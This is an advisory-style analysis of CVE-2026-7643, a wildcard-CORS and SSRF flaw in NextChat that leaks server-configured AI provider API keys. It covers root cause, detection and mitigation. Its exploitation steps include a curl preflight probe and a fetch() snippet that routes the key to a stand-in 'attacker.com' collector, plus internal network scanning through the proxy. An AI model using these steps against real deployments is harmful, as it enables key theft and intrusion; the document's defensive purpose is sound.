CVE-2026-7643: 
NextChat vulnerability analysis and mitigation

CVE-2026-7643 is a permissive cross-domain policy vulnerability (CWE-942 / CWE-346) in ChatGPTNextWeb NextChat affecting all versions up to and including 2.16.1. The flaw resides in the Next.js API endpoint configuration (next.config.mjs), where a wildcard CORS policy (Access-Control-Allow-Origin: *) is applied to all /api/* routes, enabling cross-origin exploitation by untrusted domains. It was disclosed via a GitHub issue report on April 17, 2026, and published to the NVD and GitHub Advisory Database on May 2, 2026; the project had not responded to the report at time of disclosure. The CVSS v3.1 base score is 4.3 (Medium), while the CVSS v4.0 base score is 2.1 (Low) (Github Advisory, NextChat Issue).

The root cause is an overly permissive CORS configuration in next.config.mjs (lines 38–63) that sets Access-Control-Allow-Origin: *, Access-Control-Allow-Methods: *, Access-Control-Allow-Headers: *, and Access-Control-Allow-Credentials: true on all /api/:path* routes (CWE-942, CWE-346). The most critical element is Access-Control-Allow-Headers: *, which permits cross-origin requests to include the custom x-base-url header — a header used by the unauthenticated proxy handler in app/api/proxy.ts to construct server-side fetch URLs, enabling cross-origin SSRF. Additionally, when the x-base-url value contains the substring api.openai.com, the server automatically injects its configured OpenAI API key into the outbound Authorization header, and because the response carries Access-Control-Allow-Origin: *, attacker-controlled JavaScript in any browser can read the reflected response including the leaked key. The Access-Control-Max-Age: 86400 header caches preflight approvals for 24 hours, reducing attack friction (NextChat Issue).

Successful exploitation allows any website to make cross-origin requests to all NextChat API endpoints from a victim's browser. The most severe consequence is exfiltration of server-configured API keys for providers including OpenAI, Anthropic, Azure, Google, Baidu, ByteDance, Alibaba, DeepSeek, and others via the SSRF proxy chain. Secondary impacts include cross-origin disclosure of server configuration (e.g., whether access codes are required), unauthorized read/write operations on WebDAV and Cloudflare KV artifact endpoints, and internal network reconnaissance using the NextChat instance as an SSRF relay — all without requiring any privileges on the target server (NextChat Issue).

A proof-of-concept exploit was published alongside the issue report and is publicly available (NextChat Issue). Exploitation requires no privileges and only passive user interaction (a victim visiting an attacker-controlled page), making it suitable for delivery via malicious advertisements, phishing pages, or compromised websites. The EPSS score is approximately 0.016–0.018%, indicating low current exploitation probability (Github Advisory). No in-the-wild exploitation or threat actor attribution has been reported, and the vulnerability is not listed in the CISA KEV catalog.

1. Reconnaissance: Identify publicly accessible NextChat instances (v2.16.1 or earlier) using Shodan or Censys, or target a known self-hosted deployment. Confirm the instance is running in non-export mode (i.e., server-side rendering is active).
2. Verify permissive CORS: Send an OPTIONS preflight request with a malicious origin and custom headers to confirm the wildcard policy:

curl -s -I -X OPTIONS \
  -H "Origin: https://evil-attacker.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: x-base-url" \
  http://<target>:3003/api/config

Confirm Access-Control-Allow-Origin: * and Access-Control-Allow-Headers: * in the response. 3. Read server configuration cross-origin: From attacker-controlled JavaScript, fetch /api/config to determine if access codes are required and gather deployment details. 4. Trigger SSRF to steal API key: Craft a request to the proxy endpoint with a x-base-url value that includes api.openai.com as a substring, routing the server-side fetch to an attacker-controlled endpoint:

fetch('http://<target>:3003/api/x/test', {
  method: 'GET',
  headers: { 'x-base-url': 'https://attacker.com/collect?api.openai.com' }
}).then(r => r.json()).then(data => {
  // data.headers.Authorization contains the stolen API key
});

5. Exfiltrate the key: The attacker's endpoint receives the request with the server-injected Authorization: Bearer sk-... header. Because the response carries Access-Control-Allow-Origin: *, the browser allows the JavaScript to read it and forward the key to the attacker.
6. Optional — Internal network scan: Iterate through internal IP ranges using the SSRF proxy to discover and read responses from internal services, leveraging the victim's browser as a relay (NextChat Issue).

• Network: Unusual cross-origin OPTIONS preflight requests to /api/* endpoints from unexpected external origins in server access logs; outbound server-side HTTP requests to httpbin.org, attacker-controlled domains, or unexpected internal IP addresses originating from the NextChat process.
• Logs: Next.js/Node.js access logs showing requests to /api/x/<path> or /api/config with Origin headers from external domains; repeated preflight (OPTIONS) requests with Access-Control-Request-Headers: x-base-url.
• API Provider Logs: Unexpected API usage spikes or requests from unfamiliar IP addresses (the NextChat server's IP) in OpenAI, Anthropic, or other AI provider dashboards, potentially indicating API key theft and reuse.
• Application Behavior: Unexplained exhaustion of AI provider API quotas or billing anomalies consistent with unauthorized API key usage (NextChat Issue).

The GitHub Advisory indicates a patch is available; operators should upgrade NextChat beyond version 2.16.1 and monitor the official repository for the patched release (Github Advisory). As an immediate workaround, replace the wildcard Access-Control-Allow-Origin: * in next.config.mjs with a dynamic origin allowlist via Next.js middleware, and restrict Access-Control-Allow-Headers to an explicit list (e.g., Content-Type, Authorization) that excludes x-base-url. Additionally, remove Access-Control-Allow-Credentials: true (incompatible with wildcard origin per spec), add authentication to the proxy handler in app/api/proxy.ts, and implement CSRF token validation on state-changing endpoints. Operators should also rotate any API keys (OpenAI, Anthropic, Azure, etc.) configured in potentially exposed instances as a precaution (NextChat Issue).

The vulnerability was reported by researcher "August829" via a detailed GitHub issue on April 17, 2026, with a comprehensive technical write-up including CVSS justification, reproduction steps, and remediation recommendations (NextChat Issue). As of disclosure, the NextChat project had not responded to the issue report. The advisory was noted on Bluesky and picked up by automated CVE tracking feeds shortly after NVD publication, but no significant broader media coverage or vendor statement has been identified.